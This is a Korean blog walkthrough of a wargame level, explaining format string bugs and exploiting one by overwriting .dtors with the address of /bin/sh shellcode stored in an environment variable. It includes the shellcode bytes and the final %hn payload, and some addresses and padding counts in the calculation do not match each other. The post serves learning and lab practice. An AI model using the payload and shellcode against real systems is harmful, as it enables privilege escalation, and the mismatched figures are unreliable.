글을 들어가기 전에, 포맷 스트링 버그에 대해 알고 가자.
포맷 스트링 버그란?
- 버퍼 오버플로우 해킹 기법의 한 종류로써, 사용자의 입력에 의해서 프로그램의 흐름을 변경시킬 수 있는 취약점임.
printf()함수의 취약점을 이용함.
개발자가 실수로 printf(buf)를 사용했을 떄, 입력값을 포맷스트링으로 넣으면, 입력값을 문자로 취급하는 게 아닌 서식문자로 취급하여 취약점이 일어날 수 있음.
Format String
parameter | 변수 형식 |
%d | 정수형 10진수 상수(integer) |
%f | float |
%lf | double |
%c | character |
%s | string |
%u | 양의 정수(10진) |
%o | 양의 정수(8진) |
%x | 양의 정수(16진) |
%n | *int(쓰인 총 바이트 수) |
%hn | %n의 반인 2바이트 단위 |
ex) fgets(buf, sizeof(buf), stdin)
printf(buf)
=> 문자열일 때(buf = "string")는 정상적으로 문자열로 인식. but, 서식문자(buf = "%x %s")를 넣었을 경우에는 문자열로 보지 않고 서식문자로 인식!
서식문자를 만나면 메모리의 다음 4바이트 위치를 참조하여 그 서식문자의 기능대로 출력함.
아직 모호한 것 같다.
더 자세히 알아보자.
AAAA 는
char buf[20];
buf = AAAA;
이렇게 했을 때, 배열 안에 들어가는 문자!
이게 스택에 쌓이는 것.
buf에 AAAA를 입력하면 AAAA가 바로 들어옴
만약 ABCD를 입력하면
ESP+10 에 ABCD가 쌓임.
만약
fgets(buf, sizeof(buf), stdin);
printf(buf);
char buf[20];
fgets로 buf = "%x%x"를 입력받으면
parameter1 = buf에 ("%x%x") 가 담기고,
parameter2 = sizeof(buf) = 0x400 (10진수로 1024)
parameter3 = stdin()
AAAA
위와 같이 스택이 쌓임.
printf(buf)를 했을 때는, buf가 쌓여있는 다음 4byte, 즉, 0x400과 stdin()의 주소, 그리고 AAAA가 출력된다.
응용해보자
input "AAAA %d %p %x"
그러면 parameter1에는 input값들 (AAAA %d %p %x)가 담겨져 있을 것,
그런데 printf(buf)를 썼을 떄, 서식문자가 buf안에 있으면, buf주소의 다음 4byte부터 출력이됨.
sizeof(buf) = 0x400를 %d로 나타내면 1024 이니까,
%d = 1024가 출력이 되고,
%p = stdin의 주소를 출력,
%x = esp+c에 저장된 값을 hex값으로 출력 (A가 아스키코드로 0x41이니까 ) 됨.
따라서
결과값
printf"AAAA 1024 0xb773cc20 41414141"
%n은 현재까지 출력된 값들을 그대로 count해서 그 다음 메모리 주소값에 그대로 대입함.
ex) input "A"*10 + "%n" 하면
buf에서 A가 10개 출력될거니까, 10이 카운트 됨.
%n은 그 다음 메모리 주소값에 10을 대입함.
ex) input "AAAA %p %1234x %n" 이면
A(4개) + 공백 + p + 공백 = 7
%1234x(1234개(byte)만큼 공백이 출력) + 공백 = 1235
따라서 %n 전까지 1242 byte가 count 됨을 알 수 있음.
이 1242가 어디에 들어갈까?
-> %p = 1024 (sizeof(buf))
%1234x = stdin()의 주소값 = 0xb773cc20
%n = %n이 가리키는 위치 = 0x41414141을 가리키는 위치에 이 count값 1242(0x4da)을 넣어줌
이런 식으로 진행된다는 점을 알아두고 문제를 풀어보자.
LEVEL20에 login 하고, hint를 보면 다음과 같은 코드가 뜨는 것을 알 수 있다.
bleh 배열의 크기는 80이고,
fgets함수는 문자열을 입력받긴 하지만 그 최대길이를 79바이트로 제한하여 가져온다.
버퍼오버플로우를 하려면 기본 배열의 크기와 dummy 메모리 공간까지 합한 영역을 오버플로우 시켜야하는데, 배열보다 크기가 작은 데이터만을 가져오도록 코딩이 되어있다.
즉, 버퍼오버플로우를 발생시키기에 적합하지 않은 , 시큐어코딩이 되어있다고 볼 수 있다.
코드를 잘 살펴보니 printf가 printf(buf)형태로 작성되어있다.
즉, Format String Bug 를 발생시킬 수 있다는 말이다.
여기서는 Format String Bug를 이용하여 쉘코드를 실행시켜야 한다.
%n이나 %hn을 이용하여 메모리에 쉘코드 주소 값을 넣어주면 될 것 같다는 생각이 든다.
그렇다면 어떤 공간에 쉘코드의 주소값을 써야할까?
가장 먼저 생각할 수 있는 것은, RET 영역에 쓰는 방법인데, 스택의 주소가 계소 뀌기 때문에 ret주소를 찾는 것이 쉽지가 않다.
그래서 알아보니 '.dtors'라는 곳에 값을 쓰는 방법이 있었다. 사람들은 printf()의 소멸자라고도 하는 것 같다.
'.dtors'는 gcc컴파일러가 컴파일 할 때 나타나는 특징적인 영역으로 리눅스 ELF 구조에 대한 지식이 필요하다고 한다.
간단하게 .dtors의 역할과 동작방식을 알아보았다.
gcc로 컴파일한 프로그램은 main함수를 호출하기 전에 .ctors 속성의 함수를 실행하게 되고, main함수가 종료 된 직후, .dtors 속성의 함수를 실행한다.
이 함수는 소멸자로서 dtors섹션+4 번째에 있는 메모리주소에 0이 아닌값이 있을 경우 함수로 실행시킨다.
프로그램에서 소멸자 함수를 호출하지 않을 경우 dtors+4의 값은 0이다.
그래서 쉘코드의 주소를 여기에 넣고, 쉘코드가 실행되도록 하는 것 같다.
그러면 이제 문제를 해결할 방법을 찾은 것 같다.
First, .dtors의 주소를 찾는다.
Second, 쉘 코드 환경변수 등록 & 주소를 획득한다.
Third, dtors+4에 쉘코드 환경변수의 주소를 입력한다.
일단 dtors의 정보를 얻기 위해 objdump(바이너리 파일들의 정보를 보여주는 프로그램)을 이용한다.
objdump -h attackme |grep .dtors
위 그림에서 .dtors의 주소는 08049594 이다.
따라서 쉘코드의 환경변수의 주소값을 덮어쓸 곳은 08049594+4 이다.
이제 공격을 준비해보자.
pritnf에서 서식문자를 쓰면 printf의 ebp를 기준으로 [ebp+12] 공간의 값을 서식 문자의 인자값으로 사용하고, 계속해서 [ebp+16],[ebp+20]~~ 으로 값을 읽어온다.
만약 우리가 bleh에 "AAAAAAAA%n"을 입력한다고 생각해보자.
그러면
이런식으로 스택이 구성된다.
printf의 인자값은 bleh의 배열 시작 주소값이 전달됨.
printf는 우선 출력된 문자 개수인 8을 printf 함수의 ebp기준으로 [ebp+12], 즉, butf주소의 다음 4bute값 만큼을 주소로 읽어와서 그 값에 해당하는 주소에 8을 저장함.
즉 , x41414141 주소를 가진 메모리 공간에 8(%이전의 바이트 수)를 쓴다.
우리는 저 x41414141에 원하는 주소를 쓰면 됨.
만약 우리가 저 주소값에 숫자 d를 넣으면 그 d의 개수만큼 문자를 출력시키는 것이 된다.
또, printf("%10d",1)을 실행시키면 1이 10의 자리에 맞춰서 출력한다.
그러면 우리는 bleh 배열을 낭비하지 않고, 원하는 만큼 출력할 수 있게 된다.
하지만 우리가 출력하고 싶은 자리의 개수가 int의 범위를 벗어난다면 값의 오버플로우가 일어나서 쓰레기 값이 출력될 수도 있다.
따라서 %hn을 사용해서 2byte씩 나눠서 저장하는 방법을 사용한다.
이를 참고하여 쉘코드를 작성해보자.
$export EGG=`python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
$echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c
$gcc getenv.c -o getenv
$./getenv
이렇게 하긴하는데 쉘코드가 왜 이렇게 작성되는 지는 아직 잘 모르겠다.
0x8049598에 쉘코드 주소를 올려야하는데, 0xbfffc8d의 정수값이 x86시스템에서 저장할 수 없어서 %hn을 이용해서 반반씩 나누어 덮는다.
0xfc8d는 0x8049598에, 0xbfff는 0x804959a에 넣게 됨.
그리고
그리고
AAAA\x94\x95\x04\x08AAAA\x96\x95\x04\x08%8x%8x%8x%8x 에 대한 자릿수 40바이트를
0xfc8d에서 뺍니다.
64653-40=64613
또 %n이 앞자릿수를 계산하므로 40+64613=64653을
0xbfff에서도 빼주어야 합니다.그러나 0xbfff(49151)에서 빼게되면 음수가 되기 때문에 0xbfff앞에 1을 붙인 0x1bfff에서 빼서
50034가 됩니다.
최종적으로
"AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%8x%64613c%n%50034c%n"이 됩니다.
(python -c 'print "AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08"+"%8x%8x%8x"+"%64613c%n"+"%50034c%n"'; cat) | ./attackme
참고 자료 : https://shayete.tistory.com/entry/5-Format-String-Attack-FSB